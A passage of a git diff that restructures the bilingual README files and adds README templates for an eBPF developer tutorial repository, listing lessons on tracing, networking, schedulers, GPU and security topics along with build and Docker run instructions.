--privileged ghcr.io/eunomia-bpf/libbpf-rs-template:latest -[sudo] password for xxx: +[sudo] password for xxx: Tracing run queue latency higher than 10000 us -TIME COMM TID LAT(us) -12:09:19 systemd-udevd 30786 18300 -12:09:19 systemd-udevd 30796 21941 -12:09:19 systemd-udevd 30793 10323 -12:09:19 systemd-udevd 30795 14827 -12:09:19 systemd-udevd 30790 17973 -12:09:19 systemd-udevd 30793 12328 +TIME COMM TID LAT(us) +12:09:19 systemd-udevd 30786 18300 +12:09:19 systemd-udevd 30796 21941 +12:09:19 systemd-udevd 30793 10323 +12:09:19 systemd-udevd 30795 14827 +12:09:19 systemd-udevd 30790 17973 +12:09:19 systemd-udevd 30793 12328 12:09:19 systemd-udevd 30796 28721 ``` ![docker](imgs/docker.png) -## build +## build The example of local compilation is shown as follows: ```shell -$ git clone https://github.com/eunomia-bpf/bpf-developer-tutorial.git -$ cd bpf-developer-tutorial -$ git submodule update --init --recursive # Synchronize submodule -$ cd src/24-hide -$ make +git clone https://github.com/eunomia-bpf/bpf-developer-tutorial.git +cd bpf-developer-tutorial +git submodule update --init --recursive # Synchronize submodule +cd src/24-hide +make ``` -## Why do we need tutorials based on libbpf and BPF CO-RE? - -> In history, when it comes to developing a BPF application, one could choose the BCC framework to load the BPF program into the kernel when implementing various BPF programs for Tracepoints. BCC provides a built-in Clang compiler that can compile BPF code at runtime and customize it into a program that conforms to a specific host kernel. This is the only way to develop maintainable BPF applications under the constantly changing internal kernel environment. The portability of BPF and the introduction of CO-RE are detailed in the article "BPF Portability and CO-RE", explaining why BCC was the only viable option before and why libbpf is now considered a better choice. Last year, Libbpf saw significant improvements in functionality and complexity, eliminating many differences with BCC (especially for Tracepoints applications) and adding many new and powerful features that BCC does not support (such as global variables and BPF skeletons) -> -> Admittedly, BCC does its best to simplify the work of BPF developers, but sometimes it also increases the difficulty of problem localization and fixing while providing convenience. Users must remember its naming conventions and the autogenerated structures for Tracepoints, and they must rely on rewriting this code to read kernel data and access kprobe parameters. When using BPF maps, it is necessary to write half-object-oriented C code that does not completely match what happens in the kernel. Furthermore, BCC leads to the writing of a large amount of boilerplate code in user space, with manually configuring the most trivial parts. -> -> As mentioned above, BCC relies on runtime compilation and embeds a large LLVM/Clang library, which creates certain gaps between BCC and an ideal usage scenario: -> -> - High resource utilization (memory and CPU) at compile time, which may interfere with the main process in busy servers. -> - It relies on the kernel header package and needs to be installed on each target host. Even so, if certain kernel contents are not exposed through public header files, type definitions need to be copied and pasted into the BPF code to achieve the purpose. -> - Even the smallest compile-time errors can only be detected at runtime, followed by recompiling and restarting the user-space application. This greatly affects the iteration time of development (and increases frustration...). -> -> Libbpf + BPF CO-RE (Compile Once - Run Everywhere) takes a different approach, considering BPF programs as normal user-space programs: they only need to be compiled into small binaries that can be deployed on target hosts without modification. libbpf acts as a loader for BPF programs, responsible for configuration work (relocating, loading, and verifying BPF programs, creating BPF maps, attaching to BPF hooks, etc.), and developers only need to focus on the correctness and performance of BPF programs. This approach minimizes overhead, eliminates dependencies, and improves the overall developer experience. -> -> In terms of API and code conventions, libbpf adheres to the philosophy of "least surprise", where most things need to be explicitly stated: no header files are implied, and no code is rewritten. Most monotonous steps can be eliminated using simple C code and appropriate auxiliary macros. In addition, what users write is the content that needs to be executed, and the structure of BPF applications is one-to-one, finally verified and executed by the kernel. - -Reference: [BCC to Libbpf Conversion Guide (Translation) - Deep Dive into eBPF](https://www.ebpf.top/post/bcc-to-libbpf-guid/) - -## eunomia-bpf - -[eunomia-bpf](https://github.com/eunomia-bpf/eunomia-bpf) is an open-source eBPF dynamic loading runtime and development toolkit designed to simplify the development, building, distribution, and execution of eBPF programs. It is based on the libbpf CO-RE lightweight development framework. - -With eunomia-bpf, you can: - -- Write only the libbpf kernel mode code when writing eBPF programs or tools, automatically retrieving kernel mode export information. -- Use Wasm to develop eBPF user mode programs, controlling the entire eBPF program loading and execution, as well as handling related data within the WASM virtual machine. -- eunomia-bpf can package pre-compiled eBPF programs into universal JSON or WASM modules for distribution across architectures and kernel versions, allowing dynamic loading and execution without the need for recompilation. - -eunomia-bpf consists of a compilation toolchain and a runtime library. Compared to traditional frameworks like BCC and native libbpf, it greatly simplifies the development process of eBPF programs, where in most cases, only the kernel mode code needs to be written to easily build, package, and publish complete eBPF applications. At the same time, the kernel mode eBPF code guarantees compatibility with mainstream development frameworks such as libbpf, libbpfgo, libbpf-rs, and more. When user mode code needs to be written, multiple languages can be used with the help of Webassembly. Compared to script tools like bpftrace, eunomia-bpf maintains similar convenience, while not being limited to trace scenarios and can be used in various other fields such as networking and security. - -- eunomia-bpf project GitHub address: -- gitee mirror: - -## Let ChatGPT Help Us - -This tutorial uses ChatGPT to learn how to write eBPF programs. At the same time, we try to teach ChatGPT how to write eBPF programs. The general steps are as follows: - -1. Teach it the basic knowledge of eBPF programming. -2. Show it some cases: hello world, basic structure of eBPF programs, how to use eBPF programs for tracing, and let it start writing tutorials. -3. Manually adjust the tutorials and correct errors in the code and documents. -4. Feed the modified code back to ChatGPT for further learning. -5. Try to make ChatGPT generate eBPF programs and corresponding tutorial documents automatically! For example: - -![ebpf-chatgpt-signal](imgs/ebpf-chatgpt-signal.png) - -The complete conversation log can be found here: [ChatGPT.md](ChatGPT.md) - -We have also built a demo of a command-line tool. Through training in this tutorial, it can automatically write eBPF programs and trace Linux systems using natural language descriptions: +## LICENSE -![ebpf-chatgpt-signal](https://github.com/eunomia-bpf/GPTtrace/blob/main/doc/result.gif) +MIT diff --git a/README.zh.md b/README.zh.md index 6cd62e7c..d4d5f364 100644 --- a/README.zh.md +++ b/README.zh.md @@ -1,19 +1,11 @@ # eBPF 开发者教程与知识库:eBPF Tutorial by Example -[![CI](https://github.com/eunomia-bpf/bpf-developer-tutorial/actions/workflows/main.yml/badge.svg)](https://github.com/eunomia-bpf/bpf-developer-tutorial/actions/workflows/main.yml) +[![Test example CI](https://github.com/eunomia-bpf/bpf-developer-tutorial/actions/workflows/test-libbpf.yml/badge.svg)](https://github.com/eunomia-bpf/bpf-developer-tutorial/actions/workflows/test-libbpf.yml) [GitHub](https://github.com/eunomia-bpf/bpf-developer-tutorial) [Gitee 镜像](https://gitee.com/yunwei37/bpf-developer-tutorial) [English Version](README_en.md) -Dive straight into eBPF development with this concise tutorial, built around the powerful CO-RE (Compile Once, Run Everywhere) philosophy. Whether you're a newbie or a pro, we've got you covered with: - -- 🛠 **Practical Examples:** Start coding with bite-sized examples, some as short as just 20 lines! -- 🔍 **Focused Learning:** We prioritize hands-on learning, skipping the lengthy theory. Each directory offers an independent eBPF tool example. -- 💼 **Modern Frameworks:** Get comfortable with the latest eBPF frameworks such as libbpf, Cilium, libbpf-rs, and eunomia-bpf. -- 🌐 **Multi-language Support:** Play with code samples in C, Go, and Rust. -- 🌍 **Bilingual Content:** This tutorial is available in both Chinese and English. For the English version, check the README_en.md inside each directory. - #### [**Check out the English version here**](README.md) 这是一个基于 `CO-RE`(一次编译,到处运行)的 eBPF 的开发教程,提供了从入门到进阶的 eBPF 开发实践,包括基本概念、代码实例、实际应用等内容。和 BCC 不同的是,我们使用 libbpf、Cilium、libbpf-rs、eunomia-bpf 等框架进行开发,包含 C、Go、Rust 等语言的示例。 @@ -24,67 +16,80 @@ Dive straight into eBPF development with this concise tutorial, built around the ## 目录 -### 入门文档 - -包含简单的 eBPF 程序样例与介绍,这部分主要使用 `eunomia-bpf` 框架简化开发,并介绍了 eBPF 的基本使用方式和开发流程。 - -- [lesson 0-introduce](src/0-introduce/README.md) 介绍 eBPF 的基本概念和常见的开发工具 -- [lesson 1-helloworld](src/1-helloworld/README.md) 使用 eBPF 开发最简单的「Hello World」程序,介绍 eBPF 的基本框架和开发流程 -- [lesson 2-kprobe-unlink](src/2-kprobe-unlink/README.md) 在 eBPF 中使用 kprobe 捕获 unlink 系统调用 -- [lesson 3-fentry-unlink](src/3-fentry-unlink/README.md) 在 eBPF 中使用 fentry 捕获 unlink 系统调用 -- [lesson 4-opensnoop](src/4-opensnoop/README.md) 使用 eBPF 捕获进程打开文件的系统调用集合,使用全局变量在 eBPF 中过滤进程 pid -- [lesson 5-uprobe-bashreadline](src/5-uprobe-bashreadline/README.md) 在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用 -- [lesson 6-sigsnoop](src/6-sigsnoop/README.md) 捕获进程发送信号的系统调用集合,使用 hash map 保存状态 -- [lesson 7-execsnoop](src/7-execsnoop/README.md) 捕获进程执行时间,通过 perf event array 向用户态打印输出 -- [lesson 8-execsnoop](src/8-exitsnoop/README.md) 捕获进程退出事件,使用 ring buffer 向用户态打印输出 -- [lesson 9-runqlat](src/9-runqlat/README.md) 捕获进程调度延迟,以直方图方式记录 -- [lesson 10-hardirqs](src/10-hardirqs/README.md) 使用 hardirqs 或 softirqs 捕获中断事件 - -### 进阶文档和示例 - -我们开始主要基于 `libbpf` 构建完整的 eBPF 工程,并且把它和各种应用场景结合起来进行实践。 - -- [lesson 11-bootstrap](src/11-bootstrap/README.md) 使用 libbpf-boostrap 为 eBPF 编写原生的 libbpf 用户态代码,并建立完整的 libbpf 工程。 -- [lesson 12-profile](src/12-profile/README.md) 使用 eBPF 进行性能分析 -- [lesson 13-tcpconnlat](src/13-tcpconnlat/README.md) 记录 TCP 连接延迟,并使用 libbpf 在用户态处理数据 -- [lesson 14-tcpstates](src/14-tcpstates/README.md) 记录 TCP 连接状态与 TCP RTT -- [lesson 15-javagc](src/15-javagc/README.md) 使用 usdt 捕获用户态 Java GC 事件耗时 -- [lesson 16-memleak](src/16-memleak/README.md) 检测内存泄漏 -- [lesson 17-biopattern](src/17-biopattern/README.md) 捕获磁盘 IO 模式 -- [lesson 18-further-reading](src/18-further-reading/README.md) 更进一步的相关资料:论文列表、项目、博客等等 -- [lesson 19-lsm-connect](src/19-lsm-connect/README.md) 使用 LSM 进行安全检测防御 -- [lesson 20-tc](src/20-tc/README.md) 使用 eBPF 进行 tc 流量控制 -- [lesson 21-xdp](src/21-xdp/README.md) 使用 eBPF 进行 XDP 报文处理 - -### 高级主题 - -这里涵盖了一系列和 eBPF 相关的高级内容,包含在 Android 上使用 eBPF 程序、使用 eBPF 程序进行可能的攻击与防御、复杂的追踪等等。将 eBPF 用户态与内核态的部分结合起来,可能能带来巨大的威力(同时也是安全隐患)。这部分较为复杂的示例会基于 libbpf、Cilium 等框架进行开发,简单示例使用 eunomia-bpf 完成。 - +### 入门示例 + +这一部分包含简单的 eBPF 程序示例和介绍。主要利用 `eunomia-bpf` 框架简化开发,介绍 eBPF 的基本用法和开发流程。 + +- [lesson 0-introduce](src/0-introduce/README.zh.md) eBPF 示例教程 0:核心概念与工具简介 +- [lesson 1-helloworld](src/1-helloworld/README.zh.md) eBPF 入门开发实践教程一:Hello World,基本框架和开发流程 +- [lesson 2-kprobe-unlink](src/2-kprobe-unlink/README.zh.md) eBPF 入门开发实践教程二:在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用 +- [lesson 3-fentry-unlink](src/3-fentry-unlink/README.zh.md) eBPF 入门开发实践教程三:在 eBPF 中使用 fentry 监测捕获 unlink 系统调用 +- [lesson 4-opensnoop](src/4-opensnoop/README.zh.md) eBPF 入门开发实践教程四:在 eBPF 中捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid +- [lesson 5-uprobe-bashreadline](src/5-uprobe-bashreadline/README.zh.md) eBPF 入门开发实践教程五:在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用 +- [lesson 6-sigsnoop](src/6-sigsnoop/README.zh.md) eBPF 入门开发实践教程六:捕获进程发送信号的系统调用集合,使用 hash map 保存状态 +- [lesson 7-execsnoop](src/7-execsnoop/README.zh.md) eBPF 入门实践教程七:捕获进程执行事件,通过 perf event array 向用户态打印输出 +- [lesson 8-exitsnoop](src/8-exitsnoop/README.zh.md) eBPF 入门开发实践教程八:在 eBPF 中使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出 +- [lesson 9-runqlat](src/9-runqlat/README.zh.md) eBPF 入门开发实践教程九:捕获进程调度延迟,以直方图方式记录 +- [lesson 10-hardirqs](src/10-hardirqs/README.zh.md) eBPF 入门开发实践教程十:在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件 +### 高级文档和示例 + +我们开始构建完整的 eBPF 项目,主要基于 `libbpf`,并将其与各种应用场景结合起来,以便实际使用。 + +- [lesson 11-bootstrap](src/11-bootstrap/README.zh.md) eBPF 入门开发实践教程十一:在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用 +- [lesson 12-profile](src/12-profile/README.zh.md) eBPF 入门实践教程十二:使用 eBPF 程序 profile 进行性能分析 +- [lesson 13-tcpconnlat](src/13-tcpconnlat/README.zh.md) eBPF入门开发实践教程十三:统计 TCP 连接延时,并使用 libbpf 在用户态处理数据 +- [lesson 14-tcpstates](src/14-tcpstates/README.zh.md) eBPF入门实践教程十四:记录 TCP 连接状态与 TCP RTT +- [lesson 15-javagc](src/15-javagc/README.zh.md) eBPF 入门实践教程十五:使用 USDT 捕获用户态 Java GC 事件耗时 +- [lesson 16-memleak](src/16-memleak/README.zh.md) eBPF 入门实践教程十六:编写 eBPF 程序 Memleak 监控内存泄漏 +- [lesson 17-biopattern](src/17-biopattern/README.zh.md) eBPF 入门实践教程十七:编写 eBPF 程序统计随机/顺序磁盘 I/O +- [lesson 18-further-reading](src/18-further-reading/README.zh.md) 更多的参考资料:论文、项目等等 +- [lesson 19-lsm-connect](src/19-lsm-connect/README.zh.md) eBPF 入门实践教程:使用 LSM 进行安全检测防御 +- [lesson 20-tc](src/20-tc/README.zh.md) eBPF 入门实践教程二十:使用 eBPF 进行 tc 流量控制 +- [lesson 21-xdp](src/21-xdp/README.zh.md) eBPF 入门实践教程二十一: 使用 XDP 进行可编程数据包处理 +### 深入主题 + +这一部分涵盖了与 eBPF 相关的高级主题,包括在 Android 上使用 eBPF 程序、利用 eBPF 程序进行的潜在攻击和防御以及复杂的追踪。结合用户模式和内核模式的 eBPF 可以带来强大的能力(也可能带来安全风险)。 + +GPU: + +- [lesson 47-cuda-events](src/47-cuda-events/README.zh.md) eBPF 教程:追踪 CUDA GPU 操作 +- [lesson xpu/npu-kernel-driver](src/xpu/npu-kernel-driver/README.zh.md) eBPF 实例教程:跟踪 Intel NPU 内核驱动操作 +- [xpu flamegraph](src/xpu/flamegraph/README.zh.md) eBPF 示例:使用 CUPTI 构建 GPU 火焰图分析器 +- [lesson xpu/gpu-kernel-driver](src/xpu/gpu-kernel-driver/README.zh.md) eBPF 实例教程:使用内核跟踪点监控 GPU 驱动活动 +调度器: + +- [lesson 44-scx-simple](src/44-scx-simple/README.zh.md) eBPF 教程:BPF 调度器入门 +- [lesson 45-scx-nest](src/45-scx-nest/README.zh.md) eBPF 示例教程:实现 `scx_nest` 调度器 +网络: + +- [lesson 23-http](src/23-http/README.zh.md) 通过 eBPF socket filter 或 syscall trace 追踪 HTTP 请求等七层协议 - eBPF 实践教程 +- [lesson 29-sockops](src/29-sockops/README.zh.md) eBPF 开发实践:使用 sockops 加速网络请求转发 +- [lesson 41-xdp-tcpdump](src/41-xdp-tcpdump/README.zh.md) eBPF 示例教程:使用 XDP 捕获 TCP 信息 +- [lesson 42-xdp-loadbalancer](src/42-xdp-loadbalancer/README.zh.md) eBPF 开发者教程: 简单的 XDP 负载均衡器 +- [lesson 46-xdp-test](src/46-xdp-test/README.zh.md) eBPF 实例教程:构建高性能 XDP 数据包生成器 +安全: + +- [lesson 24-hide](src/24-hide/README.zh.md) eBPF 开发实践:使用 eBPF 隐藏进程或文件信息 +- [lesson 25-signal](src/25-signal/README.zh.md) eBPF 入门实践教程:用 bpf_send_signal 发送信号终止恶意进程 +- [lesson 26-sudo](src/26-sudo/README.zh.md) 文件操纵实现 sudo 权限提升 +- [lesson 27-replace](src/27-replace/README.zh.md) 替换任意程序读取或者写入的文本 +- [lesson 28-detach](src/28-detach/README.zh.md) 在应用程序退出后运行 eBPF 程序:eBPF 程序的生命周期 +- [lesson 34-syscall](src/34-syscall/README.zh.md) eBPF 开发实践:使用 eBPF 修改系统调用参数 +特性: + +- [lesson 35-user-ringbuf](src/35-user-ringbuf/README.zh.md) eBPF开发实践:使用 user ring buffer 向内核异步发送信息 +- [lesson 36-userspace-ebpf](src/36-userspace-ebpf/README.zh.md) 用户空间 eBPF 运行时:深度解析与应用实践 +- [lesson 38-btf-uprobe](src/38-btf-uprobe/README.zh.md) 借助 eBPF 和 BTF,让用户态也能一次编译、到处运行 +- [lesson 43-kfuncs](src/43-kfuncs/README.zh.md) 超越 eBPF 的极限:在内核模块中定义自定义 kfunc +- [features bpf_wq](src/features/bpf_wq/README.zh.md) eBPF 教程:BPF 工作队列用于异步可睡眠任务 +- [features bpf_iters](src/features/bpf_iters/README.zh.md) eBPF 教程:BPF 迭代器用于内核数据导出 +- [features bpf_arena](src/features/bpf_arena/README.zh.md) eBPF 实例教程:BPF Arena 零拷贝共享内存 +特性: + +- [lesson 49-hid](src/49-hid/README.zh.md) eBPF 教程:无需内核补丁修复故障的 HID 设备 Android: -- [在 Android 上使用 eBPF 程序](src/22-android/README.md) - -网络和追踪: - -- [使用 uprobe 捕获多种库的 SSL/TLS 明文数据](src/30-sslsniff/README.md) -- [使用 eBPF socket filter 或 syscall trace 追踪 HTTP 请求和其他七层协议](src/23-http/README.md) -- [使用 sockops 加速网络请求转发](src/29-sockops/README.md) - -安全: - -- [使用 eBPF 修改系统调用参数](src/34-syscall/README.md) -- [使用 eBPF 隐藏进程或文件信息](src/24-hide/README.md) -- [使用 bpf_send_signal 发送信号终止进程](src/25-signal/README.md) -- [使用 eBPF 添加 sudo 用户](src/26-sudo/README.md) -- [使用 eBPF 替换任意程序读取或写入的文本](src/27-replace/README.md) -- [BPF 的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序](src/28-detach/README.md) -- [eBPF 运行时的安全性与面临的挑战](src/18-further-reading/ebpf-security.zh.md) - -其他高级特性: - -- [eBPF开发实践:使用 user ring buffer 向内核异步发送信息](src/35-user-ringbuf/README.md) -- [用户空间 eBPF 运行时:深度解析与应用实践](src/36-userspace-ebpf/README.md) -- [借助 eBPF 和 BTF,让用户态也能一次编译、到处运行](src/38-btf-uprobe/README.md) +- [lesson 22-android](src/22-android/README.zh.md) 在 Android 上使用 eBPF 程序 持续更新中... @@ -133,30 +138,44 @@ Android: ```console $ sudo docker run --rm -it --privileged ghcr.io/eunomia-bpf/libbpf-rs-template:latest -[sudo] password for xxx: +[sudo] password for xxx: Tracing run queue latency higher than 10000 us -TIME COMM TID LAT(us) -12:09:19 systemd-udevd 30786 18300 -12:09:19 systemd-udevd 30796 21941 -12:09:19 systemd-udevd 30793 10323 -12:09:19 systemd-udevd 30795 14827 -12:09:19 systemd-udevd 30790 17973 -12:09:19 systemd-udevd 30793 12328 +TIME COMM TID LAT(us) +12:09:19 systemd-udevd 30786 18300 +12:09:19 systemd-udevd 30796 21941 +12:09:19 systemd-udevd 30793 10323 +12:09:19 systemd-udevd 30795 14827 +12:09:19 systemd-udevd 30790 17973 +12:09:19 systemd-udevd 30793 12328 12:09:19 systemd-udevd 30796 28721 ``` ![docker](imgs/docker.png) +## 推荐书籍:《深入理解 eBPF 与可观测性》 + +在当今云原生、人工智能和大模型迅猛发展的时代,理解和优化操作系统性能变得尤为重要。龙蜥社区多位资深专家历时两年,联袂打造业内首本系统性穿透 Linux 内核观测技术指南——《深入理解 eBPF 与可观测性》。 + +本书不仅深入剖析了 eBPF 的底层原理和开发框架,结合了网络、内存、I/O、调度等六大领域,提供了原理和代码级的深度解析,包含了丰富的生产级实践代码,助力读者快速掌握 eBPF 技术,应用于网络流量分析、故障排查、性能调优等实际场景。 + +无论是内核开发者、运维工程师、eBPF 技术爱好者,还是可观测领域、操作系统领域专家,这本书都将成为您洞悉 Linux 系统的必备武器。 + +![书籍推荐](https://github.com/eunomia-bpf/bpf-developer-tutorial/raw/main/src/third_party/book-picture.png) + +欢迎关注我们的微信公众号,获取更多 eBPF 相关的技术文章、教程更新和社区动态! + +![微信公众号](https://github.com/eunomia-bpf/bpf-developer-tutorial/raw/main/src/third_party/wechat-qrcode.png) + ## 本地编译 本地编译示例如下所示: ```shell -$ git clone https://github.com/eunomia-bpf/bpf-developer-tutorial.git -$ cd bpf-developer-tutorial -$ git submodule update --init --recursive # 同步 submodule 子模块 -$ cd src/24-hide -$ make +git clone https://github.com/eunomia-bpf/bpf-developer-tutorial.git +cd bpf-developer-tutorial +git submodule update --init --recursive # 同步 submodule 子模块 +cd src/24-hide +make ``` ## 为什么需要基于 libbpf 和 BPF CO-RE 的教程? diff --git a/book.toml b/book.toml deleted file mode 100644 index 432b20f5..00000000 --- a/book.toml +++ /dev/null @@ -1,6 +0,0 @@ -[book] -authors = ["eunomia-bpf"] -language = "en" -multilingual = false -src = "src" -title = "bpf-developer-tutorial" diff --git a/scripts/README.md.template b/scripts/README.md.template new file mode 100644 index 00000000..f0718ae9 --- /dev/null +++ b/scripts/README.md.template @@ -0,0 +1,98 @@ +# eBPF Developer Tutorial: Learning eBPF Step by Step with Examples + +[![Test example CI](https://github.com/eunomia-bpf/bpf-developer-tutorial/actions/workflows/test-libbpf.yml/badge.svg)](https://github.com/eunomia-bpf/bpf-developer-tutorial/actions/workflows/test-libbpf.yml) +[![Test and trigger downstream tutorial sync](https://github.com/eunomia-bpf/bpf-developer-tutorial/actions/workflows/trigger-sync.yml/badge.svg)](https://github.com/eunomia-bpf/bpf-developer-tutorial/actions/workflows/trigger-sync.yml) + +[GitHub](https://github.com/eunomia-bpf/bpf-developer-tutorial) +[Gitee Mirror](https://gitee.com/yunwei37/bpf-developer-tutorial) +[中文版](README.zh.md) + +This is a development tutorial for eBPF based on CO-RE (Compile Once, Run Everywhere). It provides practical eBPF development practices from beginner to advanced, including basic concepts, code examples, and real-world applications. Unlike BCC, we use frameworks like `libbpf`, `Cilium`, `libbpf-rs`, and eunomia-bpf for development, with examples in languages such as `C`, `Go`, and `Rust`. + +This tutorial **does not cover complex concepts and scenario introductions**. Its main purpose is to provide examples of eBPF tools (**very short, starting with twenty lines of code!**) to help eBPF application developers quickly grasp eBPF development methods and techniques. The tutorial content can be found in the directory, with each directory being an independent eBPF tool example. + +The tutorial focuses on eBPF examples in observability, networking, security, and more. + +[**中文版在这里**](README.zh.md) + +{{TOC_CONTENT}} + +## Why write this tutorial? + +In the process of learning eBPF, we have been inspired and helped by the [bcc python developer tutorial](src/bcc-documents/tutorial_bcc_python_developer.md). However, from the current perspective, using `libbpf` to develop eBPF applications is a relatively better choice. + +This project is mainly based on [libbpf](https://github.com/libbpf/libbpf) frameworks. + +> - We also provide a small tool called GPTtrace, which uses ChatGPT to automatically write eBPF programs and trace Linux systems through natural language descriptions. This tool allows you to interactively learn eBPF programs: [GPTtrace](https://github.com/eunomia-bpf/GPTtrace) +> - Feel free to raise any questions or issues related to eBPF learning, or bugs encountered in practice, in the issue or discussion section of this repository. We will do our best to help you! + +## Install deps and Compile + +- For libbpf based: see [src/11-bootstrap](https://github.com/eunomia-bpf/bpf-developer-tutorial/blob/main/src/11-bootstrap/README.md) +- For eunomia-bpf based: see [src/1-helloworld](https://github.com/eunomia-bpf/bpf-developer-tutorial/blob/main/src/1-helloworld/README.md) + +## GitHub Templates: Easily build eBPF projects and development environments, compile and run eBPF programs online with one click + +When starting a new eBPF project, are you confused about how to set up the environment and choose a programming language? Don't worry, we have prepared a series of GitHub templates for you to quickly start a brand new eBPF project. Just click the `Use this template` button on GitHub to get started. + +- : eBPF project template based on the C language and libbpf framework +- : eBPF project template based on the Go language and cilium/ framework +- : eBPF project template based on the Rust language and libbpf-rs framework +- : eBPF project template based on the C language and eunomia-bpf framework + +These starter templates include the following features: + +- A Makefile to build the project with a single command +- A Dockerfile to automatically create a containerized environment for your eBPF project and publish it to GitHub Packages +- GitHub Actions to automate the build, test, and release processes +- All dependencies required for eBPF development + +> By setting an existing repository as a template, you and others can quickly generate new repositories with the same basic structure, eliminating the need for manual creation and configuration. With GitHub template repositories, developers can focus on the core functionality and logic of their projects without wasting time on the setup and structure. For more information about template repositories, see the official documentation: + +When you create a new repository using one of the eBPF project templates mentioned above, you can easily set up and launch an online development environment with GitHub Codespaces. Here are the steps to compile and run eBPF programs using GitHub Codespaces: + +1. Click the Code button in your new repository and select the Open with Codespaces option: + + ![code](imgs/code-button.png) + +2. GitHub will create a new Codespace for you, which may take a few minutes depending on your network speed and the size of the repository. +3. Once your Codespace is launched and ready to use, you can open the terminal and navigate to your project directory. +4. You can follow the instructions in the corresponding repository to compile and run eBPF programs: + + ![codespace](imgs/codespace.png) + +With Codespaces, you can easily create, manage, and share cloud-based development environments, speeding up and making your development process more reliable. You can develop with Codespaces anywhere, on any device, just need a computer with a web browser. Additionally, GitHub Codespaces supports pre-configured environments, customized development containers, and customizable development experiences to meet your development needs. + +After writing code in a codespace and making a commit, GitHub Actions will compile and automatically publish the container image. Then, you can use Docker to run this eBPF program anywhere with just one command, for example: + +```console +$ sudo docker run --rm -it --privileged ghcr.io/eunomia-bpf/libbpf-rs-template:latest +[sudo] password for xxx: +Tracing run queue latency higher than 10000 us +TIME COMM TID LAT(us) +12:09:19 systemd-udevd 30786 18300 +12:09:19 systemd-udevd 30796 21941 +12:09:19 systemd-udevd 30793 10323 +12:09:19 systemd-udevd 30795 14827 +12:09:19 systemd-udevd 30790 17973 +12:09:19 systemd-udevd 30793 12328 +12:09:19 systemd-udevd 30796 28721 +``` + +![docker](imgs/docker.png) + +## build + +The example of local compilation is shown as follows: + +```shell +git clone https://github.com/eunomia-bpf/bpf-developer-tutorial.git +cd bpf-developer-tutorial +git submodule update --init --recursive # Synchronize submodule +cd src/24-hide +make +``` + +## LICENSE + +MIT diff --git a/scripts/README.zh.md.template b/scripts/README.zh.md.template new file mode 100644 index 00000000..17ecd3f3 --- /dev/null +++ b/scripts/README.zh.md.template @@ -0,0 +1,153 @@ +# eBPF 开发者教程与知识库:eBPF Tutorial by Example + +[![Test example CI](https://github.com/eunomia-bpf/bpf-developer-tutorial/actions/workflows/test-libbpf.yml/badge.svg)](https://github.com/eunomia-bpf/bpf-developer-tutorial/actions/workflows/test-libbpf.yml) + +[GitHub](https://github.com/eunomia-bpf/bpf-developer-tutorial) +[Gitee 镜像](https://gitee.com/yunwei37/bpf-developer-tutorial) +[English Version](README_en.md) + +#### [**Check out the English version here**](README.md) + +这是一个基于 `CO-RE`(一次编译,到处运行)的 eBPF 的开发教程,提供了从入门到进阶的 eBPF 开发实践,包括基本概念、代码实例、实际应用等内容。和 BCC 不同的是,我们使用 libbpf、Cilium、libbpf-rs、eunomia-bpf 等框架进行开发,包含 C、Go、Rust 等语言的示例。 + +本教程不会进行复杂的概念讲解和场景介绍,主要希望提供一些 eBPF 小工具的案例(**非常短小,从二十行代码开始入门!**),来帮助 eBPF 应用的开发者快速上手 eBPF 的开发方法和技巧。教程内容可以在目录中找到,每个目录都是一个独立的 eBPF 工具案例。 + +教程关注于可观测性、网络、安全等等方面的 eBPF 示例。 + +{{TOC_CONTENT}} + +## 为什么要写这个教程? + +在学习 eBPF 的过程中,我们受到了 [bcc python developer tutorial](src/bcc-documents/tutorial_bcc_python_developer.md) 的许多启发和帮助,但从当下的角度出发,使用 libbpf 开发 eBPF 的应用是目前相对更好的选择。但目前似乎很少有基于 libbpf 和 BPF CO-RE 出发的、通过案例和工具介绍 eBPF 开发的教程,因此我们发起了这个项目,采用类似 bcc python developer tutorial 的组织方式,但使用 CO-RE 的 libbpf 进行开发。 + +本项目主要基于 [libbpf-boostrap](https://github.com/libbpf/libbpf-bootstrap) 和 [eunomia-bpf](https://github.com/eunomia-bpf/eunomia-bpf) 两个框架完成,并使用 eunomia-bpf 帮助简化一部分 libbpf eBPF 用户态代码的编写,让开发者专注于内核态的 eBPF 代码的开发。 + +> - 我们还提供了一个使用 ChatGPT ,通过自然语言描述即可自动编写 eBPF 程序和追踪 Linux 系统的小工具,可以让您交互式地学习 eBPF 程序:[GPTtrace](https://github.com/eunomia-bpf/GPTtrace) +> - 欢迎在本仓库的 issue 或 discussion 中提出任意关于 eBPF 学习的疑惑和问题,或者实践中遇到的 bug,我们会尽力帮助您解答! + +## GitHub 模板:轻松构建 eBPF 项目和开发环境,一键在线编译运行 eBPF 程序 + +面对创建一个 eBPF 项目,您是否对如何开始搭建环境以及选择编程语言感到困惑?别担心,我们为您准备了一系列 GitHub 模板,以便您快速启动一个全新的eBPF项目。只需在GitHub上点击 `Use this template` 按钮,即可开始使用。 + +- :基于 C 语言和 libbpf 框架的eBPF 项目模板 +- :基于 Go 语言和cilium/框架的的 eBPF 项目模板 +- :基于 Rust 语言和libbpf-rs 框架的 eBPF 项目模板 +- :基于 C 语言和 eunomia-bpf 框架的eBPF 项目模板 + +这些启动模板包含以下功能: + +- 一个 Makefile,让您可以一键构建项目 +- 一个 Dockerfile,用于为您的 eBPF 项目自动创建一个容器化环境并发布到 Github Packages +- GitHub Actions,用于自动化构建、测试和发布流程 +- eBPF 开发所需的所有依赖项 + +> 通过将现有仓库设置为模板,您和其他人可以快速生成具有相同基础结构的新仓库,从而省去了手动创建和配置的繁琐过程。借助 GitHub 模板仓库,开发者可以专注于项目的核心功能和逻辑,而无需为基础设置和结构浪费时间。更多关于模板仓库的信息,请参阅官方文档: + +当您使用上述 eBPF 项目模板中的一个创建了一个新仓库时,您可以使用 GitHub Codespaces 轻松地设置和启动一个在线开发环境。以下是使用 GitHub Codespaces 编译和运行 eBPF 程序的步骤: + +1. 点击您的新仓库中的 Code 按钮,然后选择 Open with Codespaces 选项: + + ![code](imgs/code-button.png) + +2. GitHub 将为您创建一个新的 